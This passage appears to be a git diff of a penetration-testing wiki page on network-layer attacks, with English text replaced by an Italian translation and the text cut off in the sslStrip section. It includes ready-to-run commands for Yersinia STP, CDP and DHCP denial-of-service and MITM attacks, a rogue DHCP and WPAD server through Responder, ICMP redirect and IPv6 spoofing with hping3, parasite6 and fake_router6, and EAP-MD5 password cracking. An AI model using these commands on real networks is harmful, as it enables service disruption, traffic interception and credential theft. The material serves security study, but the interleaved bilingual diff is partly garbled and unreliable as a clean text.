-- **Advertisement Request:** Issued by a VTP client to request a Summary Advertisement, typically in response to detecting a higher configuration revision number. +- **Summary Advertisement:** Trasmetto dal server VTP ogni 300 secondi, portando informazioni essenziali sul dominio. +- **Subset Advertisement:** Inviato dopo le modifiche alla configurazione delle VLAN. +- **Advertisement Request:** Emesso da un client VTP per richiedere un Summary Advertisement, tipicamente in risposta alla rilevazione di un numero di revisione di configurazione più elevato. -VTP vulnerabilities are exploitable exclusively via trunk ports as VTP announcements circulate solely through them. Post-DTP attack scenarios might pivot towards VTP. Tools like Yersinia can facilitate VTP attacks, aiming to wipe out the VLAN database, effectively disrupting the network. - -Note: This discussion pertains to VTP version 1 (VTPv1). +Le vulnerabilità VTP sono sfruttabili esclusivamente tramite porte trunk poiché gli annunci VTP circolano solo attraverso di esse. Gli scenari post-attacco DTP potrebbero spostarsi verso VTP. Strumenti come Yersinia possono facilitare attacchi VTP, mirando a cancellare il database VLAN, interrompendo efficacemente la rete. +Nota: Questa discussione riguarda la versione 1 di VTP (VTPv1). ````bash %% yersinia -G # Launch Yersinia in graphical mode ``` ```` +In modalità grafica di Yersinia, scegliere l'opzione per eliminare tutti i VTP vlans per purgare il database VLAN. -In Yersinia's graphical mode, choose the deleting all VTP vlans option to purge the VLAN database. +### Attacchi STP -### STP Attacks - -**If you cannot capture BPDU frames on your interfaces, it is unlikely that you will succeed in an STP attack.** +**Se non riesci a catturare i frame BPDU sulle tue interfacce, è improbabile che tu riesca in un attacco STP.** #### **STP BPDU DoS** -Sending a lot of BPDUs TCP (Topology Change Notification) or Conf (the BPDUs that are sent when the topology is created) the switches are overloaded and stop working correctly. - +Inviare un gran numero di BPDUs TCP (Topology Change Notification) o Conf (i BPDUs che vengono inviati quando la topologia viene creata) sovraccarica gli switch e smettono di funzionare correttamente. ```bash yersinia stp -attack 2 yersinia stp -attack 3 #Use -M to disable MAC spoofing ``` +#### **Attacco STP TCP** -#### **STP TCP Attack** - -When a TCP is sent, the CAM table of the switches will be deleted in 15s. Then, if you are sending continuously this kind of packets, the CAM table will be restarted continuously (or every 15segs) and when it is restarted, the switch behaves as a hub - +Quando viene inviato un TCP, la tabella CAM degli switch verrà cancellata in 15 secondi. Poi, se stai inviando continuamente questo tipo di pacchetti, la tabella CAM verrà riavviata continuamente (o ogni 15 secondi) e quando viene riavviata, lo switch si comporta come un hub. ```bash yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen ``` +#### **Attacco STP Root** -#### **STP Root Attack** - -The attacker simulates the behaviour of a switch to become the STP root of the network. Then, more data will pass through him. This is interesting when you are connected to two different switches.\ -This is done by sending BPDUs CONF packets saying that the **priority** value is less than the actual priority of the actual root switch. - +L'attaccante simula il comportamento di uno switch per diventare il root STP della rete. Poi, più dati passeranno attraverso di lui. Questo è interessante quando sei connesso a due switch diversi.\ +Questo viene fatto inviando pacchetti BPDUs CONF dicendo che il valore di **priorità** è inferiore alla priorità attuale dello switch root attuale. ```bash yersinia stp -attack 4 #Behaves like the root switch yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root ``` - -**If the attacker is connected to 2 switches he can be the root of the new tree and all the traffic between those switches will pass through him** (a MITM attack will be performed). - +**Se l'attaccante è connesso a 2 switch, può diventare la radice del nuovo albero e tutto il traffico tra quegli switch passerà attraverso di lui** (verrà eseguito un attacco MITM). ```bash yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing" ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages ``` +### Attacchi CDP -### CDP Attacks +Il CISCO Discovery Protocol (CDP) è essenziale per la comunicazione tra i dispositivi CISCO, consentendo loro di **identificarsi a vicenda e condividere dettagli di configurazione**. -CISCO Discovery Protocol (CDP) is essential for communication between CISCO devices, allowing them to **identify each other and share configuration details**. +#### Raccolta Dati Passiva -#### Passive Data Collection +CDP è configurato per trasmettere informazioni attraverso tutte le porte, il che potrebbe comportare un rischio per la sicurezza. Un attaccante, collegandosi a una porta switch, potrebbe utilizzare sniffers di rete come **Wireshark**, **tcpdump** o **Yersinia**. Questa azione può rivelare dati sensibili sul dispositivo di rete, inclusi il suo modello e la versione di Cisco IOS in esecuzione. L'attaccante potrebbe quindi mirare a vulnerabilità specifiche nella versione di Cisco IOS identificata. -CDP is configured to broadcast information through all ports, which might lead to a security risk. An attacker, upon connecting to a switch port, could deploy network sniffers like **Wireshark**, **tcpdump**, or **Yersinia**. This action can reveal sensitive data about the network device, including its model and the version of Cisco IOS it runs. The attacker might then target specific vulnerabilities in the identified Cisco IOS version. - -#### Inducing CDP Table Flooding - -A more aggressive approach involves launching a Denial of Service (DoS) attack by overwhelming the switch's memory, pretending to be legitimate CISCO devices. Below is the command sequence for initiating such an attack using Yersinia, a network tool designed for testing: +#### Induzione di Flooding della Tabella CDP +Un approccio più aggressivo prevede il lancio di un attacco Denial of Service (DoS) sovraccaricando la memoria dello switch, fingendo di essere dispositivi CISCO legittimi. Di seguito è riportata la sequenza di comandi per avviare un attacco di questo tipo utilizzando Yersinia, uno strumento di rete progettato per i test: ```bash sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices # Alternatively, for a GUI approach: sudo yersinia -G ``` +Durante questo attacco, la CPU dello switch e la tabella dei vicini CDP sono gravemente sovraccariche, portando a quello che è spesso definito come **“paralisi della rete”** a causa dell'eccessivo consumo di risorse. -During this attack, the switch's CPU and CDP neighbor table are heavily burdened, leading to what is often referred to as **“network paralysis”** due to the excessive resource consumption. - -#### CDP Impersonation Attack - +#### Attacco di impersonificazione CDP ```bash sudo yersinia cdp -attack 2 #Simulate a new CISCO device sudo yersinia cdp -attack 0 #Send a CDP packet ``` +Potresti anche usare [**scapy**](https://github.com/secdev/scapy/). Assicurati di installarlo con il pacchetto `scapy/contrib`. -You could also use [**scapy**](https://github.com/secdev/scapy/). Be sure to install it with `scapy/contrib` package. +### Attacchi VoIP e lo Strumento VoIP Hopper -### VoIP Attacks and the VoIP Hopper Tool +I telefoni VoIP, sempre più integrati con dispositivi IoT, offrono funzionalità come sbloccare porte o controllare termostati tramite numeri di telefono speciali. Tuttavia, questa integrazione può comportare rischi per la sicurezza. -VoIP phones, increasingly integrated with IoT devices, offer functionalities like unlocking doors or controlling thermostats through special phone numbers. However, this integration can pose security risks. +Lo strumento [**voiphopper**](http://voiphopper.sourceforge.net) è progettato per emulare un telefono VoIP in vari ambienti (Cisco, Avaya, Nortel, Alcatel-Lucent). Scopre l'ID VLAN della rete vocale utilizzando protocolli come CDP, DHCP, LLDP-MED e 802.1Q ARP. -The tool [**voiphopper**](http://voiphopper.sourceforge.net) is designed to emulate a VoIP phone in various environments (Cisco, Avaya, Nortel, Alcatel-Lucent). It discovers the voice network's VLAN ID using protocols like CDP, DHCP, LLDP-MED, and 802.1Q ARP. +**VoIP Hopper** offre tre modalità per il Cisco Discovery Protocol (CDP): -**VoIP Hopper** offers three modes for the Cisco Discovery Protocol (CDP): +1. **Modalità Sniff** (`-c 0`): Analizza i pacchetti di rete per identificare l'ID VLAN. +2. **Modalità Spoof** (`-c 1`): Genera pacchetti personalizzati che imitano quelli di un dispositivo VoIP reale. +3. **Modalità Spoof con Pacchetto Pre-fatto** (`-c 2`): Invia pacchetti identici a quelli di un modello specifico di telefono IP Cisco. -1. **Sniff Mode** (`-c 0`): Analyzes network packets to identify the VLAN ID. -2. **Spoof Mode** (`-c 1`): Generates custom packets mimicking those of an actual VoIP device. -3. **Spoof with Pre-made Packet Mode** (`-c 2`): Sends packets identical to those of a specific Cisco IP phone model. +La modalità preferita per la velocità è la terza. Richiede di specificare: -The preferred mode for speed is the third one. It requires specifying: +- L'interfaccia di rete dell'attaccante (`-i` parametro). +- Il nome del dispositivo VoIP emulato (`-E` parametro), seguendo il formato di denominazione Cisco (ad es., SEP seguito da un indirizzo MAC). -- The attacker's network interface (`-i` parameter). -- The name of the VoIP device being emulated (`-E` parameter), adhering to the Cisco naming format (e.g., SEP followed by a MAC address). +In contesti aziendali, per imitare un dispositivo VoIP esistente, si potrebbe: -In corporate settings, to mimic an existing VoIP device, one might: - -- Inspect the MAC label on the phone. -- Navigate the phone's display settings to view model information. -- Connect the VoIP device to a laptop and observe CDP requests using Wireshark. - -An example command to execute the tool in the third mode would be: +- Ispezionare l'etichetta MAC sul telefono. +- Navigare nelle impostazioni di visualizzazione del telefono per visualizzare le informazioni sul modello. +- Collegare il dispositivo VoIP a un laptop e osservare le richieste CDP utilizzando Wireshark. +Un comando di esempio per eseguire lo strumento in modalità tre sarebbe: ```bash voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2 ``` +### Attacchi DHCP -### DHCP Attacks - -#### Enumeration - +#### Enumerazione ```bash nmap --script broadcast-dhcp-discover Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT @@ -551,68 +487,61 @@ Pre-scan script results: |_ Domain Name: mynet Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds ``` - **DoS** -**Two types of DoS** could be performed against DHCP servers. The first one consists on **simulate enough fake hosts to use all the possible IP addresses**.\ -This attack will work only if you can see the responses of the DHCP server and complete the protocol (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). For example, this is **not possible in Wifi networks**. - -Another way to perform a DHCP DoS is to send a **DHCP-RELEASE packet using as source code every possible IP**. Then, the server will think that everybody has finished using the IP. +**Due tipi di DoS** possono essere eseguiti contro i server DHCP. Il primo consiste nel **simulare un numero sufficiente di host falsi per utilizzare tutti i possibili indirizzi IP**.\ +Questo attacco funzionerà solo se puoi vedere le risposte del server DHCP e completare il protocollo (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). Ad esempio, questo **non è possibile nelle reti Wifi**. +Un altro modo per eseguire un DoS DHCP è inviare un **pacchetto DHCP-RELEASE utilizzando come codice sorgente ogni possibile IP**. Allora, il server penserà che tutti abbiano finito di utilizzare l'IP. ```bash yersinia dhcp -attack 1 yersinia dhcp -attack 3 #More parameters are needed ``` +Un modo più automatico per farlo è utilizzare lo strumento [DHCPing](https://github.com/kamorin/DHCPig) -A more automatic way of doing this is using the tool [DHCPing](https://github.com/kamorin/DHCPig) +Puoi utilizzare gli attacchi DoS menzionati per costringere i client a ottenere nuovi lease all'interno dell'ambiente e esaurire i server legittimi in modo che diventino non responsivi. Quindi, quando i legittimi tentano di riconnettersi, **puoi servire valori malevoli menzionati nel prossimo attacco**. -You could use the mentioned DoS attacks to force clients to obtain new leases within the environment, and exhaust legitimate servers so that they become unresponsive. So when the legitimate try to reconnect, **you can server malicious values mentioned in the next attack**. +#### Imposta valori malevoli -#### Set malicious values +Un server DHCP non autorizzato può essere configurato utilizzando lo script DHCP situato in `/usr/share/responder/DHCP.py`. Questo è utile per attacchi di rete, come la cattura del traffico HTTP e delle credenziali, reindirizzando il traffico a un server malevolo. Tuttavia, impostare un gateway non autorizzato è meno efficace poiché consente solo di catturare il traffico in uscita dal client, mancando le risposte dal vero gateway. Invece, è consigliato impostare un server DNS o WPAD non autorizzato per un attacco più efficace. -A rogue DHCP server can be set up using the DHCP script located at `/usr/share/responder/DHCP.py`. This is useful for network attacks, like capturing HTTP traffic and credentials, by redirecting traffic to a malicious server. However, setting a rogue gateway is less effective since it only allows capturing outbound traffic from the client, missing the responses from the real gateway. Instead, setting up a rogue DNS or WPAD server is recommended for a more effective attack. +Di seguito sono riportate le opzioni di comando per configurare il server DHCP non autorizzato: -Below are the command options for configuring the rogue DHCP server: - -- **Our IP Address (Gateway Advertisement)**: Use `-i 10.0.0.100` to advertise your machine's IP as the gateway. -- **Local DNS Domain Name**: Optionally, use `-d example.org` to set a local DNS domain name. -- **Original Router/Gateway IP**: Use `-r 10.0.0.1` to specify the IP address of the legitimate router or gateway. -- **Primary DNS Server IP**: Use `-p 10.0.0.100` to set the IP address of the rogue DNS server you control. -- **Secondary DNS Server IP**: Optionally, use `-s 10.0.0.1` to set a secondary DNS server IP. -- **Netmask of Local Network**: Use `-n 255.255.255.0` to define the netmask for the local network. -- **Interface for DHCP Traffic**: Use `-I eth1` to listen for DHCP traffic on a specific network interface. -- **WPAD Configuration Address**: Use `-w “http://10.0.0.100/wpad.dat”` to set the address for WPAD configuration, assisting in web traffic interception. -- **Spoof Default Gateway IP**: Include `-S` to spoof the default gateway IP address. -- **Respond to All DHCP Requests**: Include `-R` to make the server respond to all DHCP requests, but be aware that this is noisy and can be detected. - -By correctly using these options, a rogue DHCP server can be established to intercept network traffic effectively. +- **Il nostro indirizzo IP (Annuncio del Gateway)**: Usa `-i 10.0.0.100` per pubblicizzare l'IP della tua macchina come gateway. +- **Nome di Dominio DNS Locale**: Facoltativamente, usa `-d example.org` per impostare un nome di dominio DNS locale. +- **IP del Router/Gateway Originale**: Usa `-r 10.0.0.1` per specificare l'indirizzo IP del router o gateway legittimo. +- **IP del Server DNS Primario**: Usa `-p 10.0.0.100` per impostare l'indirizzo IP del server DNS non autorizzato che controlli. +- **IP del Server DNS Secondario**: Facoltativamente, usa `-s 10.0.0.1` per impostare un IP del server DNS secondario. +- **Netmask della Rete Locale**: Usa `-n 255.255.255.0` per definire la netmask per la rete locale. +- **Interfaccia per il Traffico DHCP**: Usa `-I eth1` per ascoltare il traffico DHCP su una specifica interfaccia di rete. +- **Indirizzo di Configurazione WPAD**: Usa `-w “http://10.0.0.100/wpad.dat”` per impostare l'indirizzo per la configurazione WPAD, assistendo nell'intercettazione del traffico web. +- **Spoof dell'IP del Gateway Predefinito**: Includi `-S` per falsificare l'indirizzo IP del gateway predefinito. +- **Rispondi a Tutte le Richieste DHCP**: Includi `-R` per far sì che il server risponda a tutte le richieste DHCP, ma fai attenzione che questo è rumoroso e può essere rilevato. +Utilizzando correttamente queste opzioni, può essere stabilito un server DHCP non autorizzato per intercettare efficacemente il traffico di rete. ```python # Example to start a rogue DHCP server with specified options !python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R ``` +### **Attacchi EAP** -### **EAP Attacks** +Ecco alcune delle tattiche di attacco che possono essere utilizzate contro le implementazioni 802.1X: -Here are some of the attack tactics that can be used against 802.1X implementations: - -- Active brute-force password grinding via EAP -- Attacking the RADIUS server with malformed EAP content _\*\*_(exploits) -- EAP message capture and offline password cracking (EAP-MD5 and PEAP) -- Forcing EAP-MD5 authentication to bypass TLS certificate validation -- Injecting malicious network traffic upon authenticating using a hub or similar - -If the attacker if between the victim and the authentication server, he could try to degrade (if necessary) the authentication protocol to EAP-MD5 and capture the authentication attempt. Then, he could brute-force this using: +- Attacco attivo di brute-force delle password tramite EAP +- Attacco al server RADIUS con contenuti EAP malformati _\*\*_(exploits) +- Cattura dei messaggi EAP e cracking delle password offline (EAP-MD5 e PEAP) +- Forzare l'autenticazione EAP-MD5 per bypassare la convalida del certificato TLS +- Iniettare traffico di rete malevolo durante l'autenticazione utilizzando un hub o simile +Se l'attaccante si trova tra la vittima e il server di autenticazione, potrebbe cercare di degradare (se necessario) il protocollo di autenticazione a EAP-MD5 e catturare il tentativo di autenticazione. Poi, potrebbe eseguire un attacco di brute-force utilizzando: ``` eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt ``` +### Attacchi FHRP (GLBP & HSRP) -### FHRP (GLBP & HSRP) Attacks +**FHRP** (First Hop Redundancy Protocol) è una classe di protocolli di rete progettati per **creare un sistema di routing ridondante attivo**. Con FHRP, i router fisici possono essere combinati in un unico dispositivo logico, aumentando la tolleranza ai guasti e aiutando a distribuire il carico. -**FHRP** (First Hop Redundancy Protocol) is a class of network protocols designed to **create a hot redundant routing system**. With FHRP, physical routers can be combined into a single logical device, which increases fault tolerance and helps distribute the load. - -**Cisco Systems engineers have developed two FHRP protocols, GLBP and HSRP.** +**Gli ingegneri di Cisco Systems hanno sviluppato due protocolli FHRP, GLBP e HSRP.** {{#ref}} glbp-and-hsrp-attacks.md @@ -620,82 +549,73 @@ glbp-and-hsrp-attacks.md ### RIP -Three versions of the Routing Information Protocol (RIP) are known to exist: RIP, RIPv2, and RIPng. Datagrams are sent to peers via port 520 using UDP by RIP and RIPv2, whereas datagrams are broadcasted to UDP port 521 via IPv6 multicast by RIPng. Support for MD5 authentication was introduced by RIPv2. On the other hand, native authentication is not incorporated by RIPng; instead, reliance is placed on optional IPsec AH and ESP headers within IPv6. +Esistono tre versioni del Routing Information Protocol (RIP): RIP, RIPv2 e RIPng. I datagrammi vengono inviati ai peer tramite la porta 520 utilizzando UDP da RIP e RIPv2, mentre i datagrammi vengono trasmessi in broadcast sulla porta UDP 521 tramite multicast IPv6 da RIPng. Il supporto per l'autenticazione MD5 è stato introdotto da RIPv2. D'altra parte, l'autenticazione nativa non è incorporata in RIPng; invece, ci si affida a intestazioni IPsec AH e ESP opzionali all'interno di IPv6. -- **RIP and RIPv2:** Communication is done through UDP datagrams on port 520. -- **RIPng:** Utilizes UDP port 521 for broadcasting datagrams via IPv6 multicast. +- **RIP e RIPv2:** La comunicazione avviene tramite datagrammi UDP sulla porta 520. +- **RIPng:** Utilizza la porta UDP 521 per trasmettere datagrammi tramite multicast IPv6. -Note that RIPv2 supports MD5 authentication while RIPng does not include native authentication, relying on IPsec AH and ESP headers in IPv6. +Si noti che RIPv2 supporta l'autenticazione MD5 mentre RIPng non include l'autenticazione nativa, affidandosi alle intestazioni IPsec AH e ESP in IPv6. -### EIGRP Attacks +### Attacchi EIGRP -**EIGRP (Enhanced Interior Gateway Routing Protocol)** is a dynamic routing protocol. **It is a distance-vector protocol.** If there is **no authentication** and configuration of passive interfaces, an **intruder** can interfere with EIGRP routing and cause **routing tables poisoning**. Moreover, EIGRP network (in other words, autonomous system) **is flat and has no segmentation into any zones**. If an **attacker injects a route**, it is likely that this route will **spread** throughout the autonomous EIGRP system. +**EIGRP (Enhanced Interior Gateway Routing Protocol)** è un protocollo di routing dinamico. **È un protocollo a vettore di distanza.** Se non c'è **autenticazione** e configurazione delle interfacce passive, un **intruso** può interferire con il routing EIGRP e causare **il avvelenamento delle tabelle di routing**. Inoltre, la rete EIGRP (in altre parole, il sistema autonomo) **è piatta e non ha segmentazione in zone**. Se un **attaccante inietta una rotta**, è probabile che questa rotta si **diffonda** in tutto il sistema autonomo EIGRP. -To attack a EIGRP system requires **establishing a neighbourhood with a legitimate EIGRP route**r, which opens up a lot of possibilities, from basic reconnaissance to various injections. +Attaccare un sistema EIGRP richiede **stabilire un vicinato con un router EIGRP legittimo**, il che apre molte possibilità, dalla ricognizione di base a varie iniezioni. -[**FRRouting**](https://frrouting.org/) allows you to implement **a virtual router that supports BGP, OSPF, EIGRP, RIP and other protocols.** All you need to do is deploy it on your attacker’s system and you can actually pretend to be a legitimate router in the routing domain. +[**FRRouting**](https://frrouting.org/) consente di implementare **un router virtuale che supporta BGP, OSPF, EIGRP, RIP e altri protocolli.** Tutto ciò che devi fare è distribuirlo sul sistema dell'attaccante e puoi effettivamente fingere di essere un router legittimo nel dominio di routing. {{#ref}} eigrp-attacks.md {{#endref}} -[**Coly**](https://code.google.com/p/coly/) has capabilities for intercepting EIGRP (Enhanced Interior Gateway Routing Protocol) broadcasts. It also allows for the injection of packets, which can be utilized to alter routing configurations. +[**Coly**](https://code.google.com/p/coly/) ha capacità per intercettare le trasmissioni EIGRP (Enhanced Interior Gateway Routing Protocol). Consente anche l'iniezione di pacchetti, che possono essere utilizzati per alterare le configurazioni di routing. ### OSPF -In Open Shortest Path First (OSPF) protocol **MD5 authentication is commonly employed to ensure secure communication between routers**. However, this security measure can be compromised using tools like Loki and John the Ripper. These tools are capable of capturing and cracking MD5 hashes, exposing the authentication key. Once this key is obtained, it can be used to introduce new routing information. To configure the route parameters and establish the compromised key, the _Injection_ and _Connection_ tabs are utilized, respectively. +Nel protocollo Open Shortest Path First (OSPF) **l'autenticazione MD5 è comunemente impiegata per garantire comunicazioni sicure tra router**. Tuttavia, questa misura di sicurezza può essere compromessa utilizzando strumenti come Loki e John the Ripper. Questi strumenti sono in grado di catturare e decifrare gli hash MD5, esponendo la chiave di autenticazione. Una volta ottenuta questa chiave, può essere utilizzata per introdurre nuove informazioni di routing. Per configurare i parametri della rotta e stabilire la chiave compromessa, vengono utilizzate rispettivamente le schede _Injection_ e _Connection_. -- **Capturing and Cracking MD5 Hashes:** Tools such as Loki and John the Ripper are used for this purpose. -- **Configuring Route Parameters:** This is done through the _Injection_ tab. -- **Setting the Compromised Key:** The key is configured under the _Connection_ tab. +- **Cattura e Decifratura degli Hash MD5:** Strumenti come Loki e John the Ripper sono utilizzati a questo scopo. +- **Configurazione dei Parametri della Rotta:** Questo avviene tramite la scheda _Injection_. +- **Impostazione della Chiave Compromessa:** La chiave è configurata sotto la scheda _Connection_. -### Other Generic Tools & Sources +### Altri Strumenti e Risorse Generiche -- [**Above**](https://github.com/c4s73r/Above): Tool to scan network traffic and find vulnerabilities -- You can find some **more information about network attacks** [**here**](https://github.com/Sab0tag3d/MITM-cheatsheet). +- [**Above**](https://github.com/c4s73r/Above): Strumento per scansionare il traffico di rete e trovare vulnerabilità +- Puoi trovare alcune **ulteriori informazioni sugli attacchi di rete** [**qui**](https://github.com/Sab0tag3d/MITM-cheatsheet). ## **Spoofing** -The attacker configures all the network parameters (GW, IP, DNS) of the new member of the network sending fake DHCP responses. - +L'attaccante configura tutti i parametri di rete (GW, IP, DNS) del nuovo membro della rete inviando risposte DHCP false. ```bash Ettercap yersinia dhcp -attack 2 #More parameters are needed ``` - ### ARP Spoofing -Check the [previous section](./#arp-spoofing). +Controlla la [sezione precedente](./#arp-spoofing). ### ICMPRedirect -ICMP Redirect consist on sending an ICMP packet type 1 code 5 that indicates that the attacker is the best way to reach an IP. Then, when the victim wants to contact the IP, it will send the packet through the attacker. - +ICMP Redirect consiste nell'inviare un pacchetto ICMP di tipo 1 codice 5 che indica che l'attaccante è il modo migliore per raggiungere un IP. Quindi, quando la vittima vuole contattare l'IP, invierà il pacchetto attraverso l'attaccante. ```bash Ettercap icmp_redirect hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5] ``` - ### DNS Spoofing -The attacker will resolve some (or all) the domains that the victim ask for. - +L'attaccante risolverà alcuni (o tutti) i domini che la vittima richiede. ```bash set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on ``` - -**Configure own DNS with dnsmasq** - +**Configura il proprio DNS con dnsmasq** ```bash apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon dig @localhost domain.example.com # Test the configured DNS ``` +### Gateway locali -### Local Gateways - -Multiple routes to systems and networks often exist. Upon building a list of MAC addresses within the local network, use _gateway-finder.py_ to identify hosts that support IPv4 forwarding. - +Spesso esistono più percorsi verso sistemi e reti. Dopo aver creato un elenco di indirizzi MAC all'interno della rete locale, utilizza _gateway-finder.py_ per identificare gli host che supportano l'inoltro IPv4. ``` root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git root@kali:~# cd gateway-finder/ @@ -713,66 +633,58 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder [+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100] [+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100] ``` +### [Spoofing LLMNR, NBT-NS, e mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) -### [Spoofing LLMNR, NBT-NS, and mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) +Per la risoluzione degli host locali quando le ricerche DNS non hanno successo, i sistemi Microsoft si affidano a **Link-Local Multicast Name Resolution (LLMNR)** e al **NetBIOS Name Service (NBT-NS)**. Allo stesso modo, **Apple Bonjour** e le implementazioni **zero-configuration** di Linux utilizzano **Multicast DNS (mDNS)** per scoprire i sistemi all'interno di una rete. A causa della natura non autenticata di questi protocolli e del loro funzionamento su UDP, inviando messaggi in broadcast, possono essere sfruttati da attaccanti che mirano a reindirizzare gli utenti verso servizi malevoli. -For local host resolution when DNS lookups are unsuccessful, Microsoft systems rely on **Link-Local Multicast Name Resolution (LLMNR)** and the **NetBIOS Name Service (NBT-NS)**. Similarly, **Apple Bonjour** and **Linux zero-configuration** implementations utilize **Multicast DNS (mDNS)** for discovering systems within a network. Due to the unauthenticated nature of these protocols and their operation over UDP, broadcasting messages, they can be exploited by attackers aiming to redirect users to malicious services. - -You can impersonate services that are searched by hosts using Responder to send fake responses.\ -Read here more information about [how to Impersonate services with Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). +Puoi impersonare servizi che vengono cercati dagli host utilizzando Responder per inviare risposte false.\ +Leggi qui ulteriori informazioni su [come impersonare servizi con Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). ### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) -Browsers commonly employ the **Web Proxy Auto-Discovery (WPAD) protocol to automatically acquire proxy settings**. This involves fetching configuration details from a server, specifically through a URL such as "http://wpad.example.org/wpad.dat". The discovery of this server by the clients can happen through various mechanisms: +I browser utilizzano comunemente il **protocollo Web Proxy Auto-Discovery (WPAD) per acquisire automaticamente le impostazioni del proxy**. Questo comporta il recupero dei dettagli di configurazione da un server, specificamente attraverso un URL come "http://wpad.example.org/wpad.dat". La scoperta di questo server da parte dei client può avvenire attraverso vari meccanismi: -- Through **DHCP**, where the discovery is facilitated by utilizing a special code 252 entry. -- By **DNS**, which involves searching for a hostname labeled _wpad_ within the local domain. -- Via **Microsoft LLMNR and NBT-NS**, which are fallback mechanisms used in cases where DNS lookups do not succeed. +- Tramite **DHCP**, dove la scoperta è facilitata utilizzando un codice speciale 252. +- Tramite **DNS**, che comporta la ricerca di un nome host etichettato _wpad_ all'interno del dominio locale. +- Via **Microsoft LLMNR e NBT-NS**, che sono meccanismi di fallback utilizzati nei casi in cui le ricerche DNS non hanno successo. -The tool Responder takes advantage of this protocol by acting as a **malicious WPAD server**. It uses DHCP, DNS, LLMNR, and NBT-NS to mislead clients into connecting to it. To dive deeper into how services can be impersonated using Responder [check this](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). +Lo strumento Responder sfrutta questo protocollo agendo come un **server WPAD malevolo**. Utilizza DHCP, DNS, LLMNR e NBT-NS per ingannare i client facendoli connettere a esso. Per approfondire come i servizi possono essere impersonati utilizzando Responder [controlla questo](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). -### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md) +### [Spoofing SSDP e dispositivi UPnP](spoofing-ssdp-and-upnp-devices.md) -You can offer different services in the network to try to **trick a user** to enter some **plain-text credentials**. **More information about this attack in** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**.** +Puoi offrire diversi servizi nella rete per cercare di **ingannare un utente** a inserire alcune **credenziali in chiaro**. **Ulteriori informazioni su questo attacco in** [**Spoofing SSDP e dispositivi UPnP**](spoofing-ssdp-and-upnp-devices.md)**.** -### IPv6 Neighbor Spoofing - -This attack is very similar to ARP Spoofing but in the IPv6 world. You can get the victim think that the IPv6 of the GW has the MAC of the attacker. +### Spoofing dei vicini IPv6 +Questo attacco è molto simile allo Spoofing ARP ma nel mondo IPv6. Puoi far credere alla vittima che l'IPv6 del GW abbia il MAC dell'attaccante. ```bash sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested sudo fake_advertise6 -r -w 2 eth0 #This option will send the Neighbor Advertisement packet every 2 seconds ``` - ### IPv6 Router Advertisement Spoofing/Flooding -Some OS configure by default the gateway from the RA packets sent in the network. To declare the attacker as IPv6 router you can use: - +Alcuni sistemi operativi configurano per impostazione predefinita il gateway dai pacchetti RA inviati nella rete. Per dichiarare l'attaccante come router IPv6 puoi usare: ```bash sysctl -w net.ipv6.conf.all.forwarding=1 4 ip route add default via dev wlan0 fake_router6 wlan0 fe80::01/16 ``` - ### IPv6 DHCP spoofing -By default some OS try to configure the DNS reading a DHCPv6 packet in the network. Then, an attacker could send a DHCPv6 packet to configure himself as DNS. The DHCP also provides an IPv6 to the victim. - +Per impostazione predefinita, alcuni sistemi operativi cercano di configurare il DNS leggendo un pacchetto DHCPv6 nella rete. Quindi, un attaccante potrebbe inviare un pacchetto DHCPv6 per configurarsi come DNS. Il DHCP fornisce anche un IPv6 alla vittima. ```bash dhcp6.spoof on dhcp6.spoof.domains mitm6 ``` +### HTTP (pagina falsa e iniezione di codice JS) -### HTTP (fake page and JS code injection) - -## Internet Attacks +## Attacchi Internet ### sslStrip -Basically what this attack does is, in case the **user** try to **access** a **HTTP** page that is **redirecting** to the **HTTPS** version. **sslStrip** will **maintain** a **HTTP connection with** the **client and** a **HTTPS connection with** the **server** so it ill be able to **sniff** the connection in **plain text**. - +Fondamentalmente, ciò che fa questo attacco è che, nel caso in cui l'**utente** provi ad **accedere** a una pagina **HTTP** che si sta **reindirizzando** alla versione **HTTPS**. **sslStrip** manterrà una **connessione 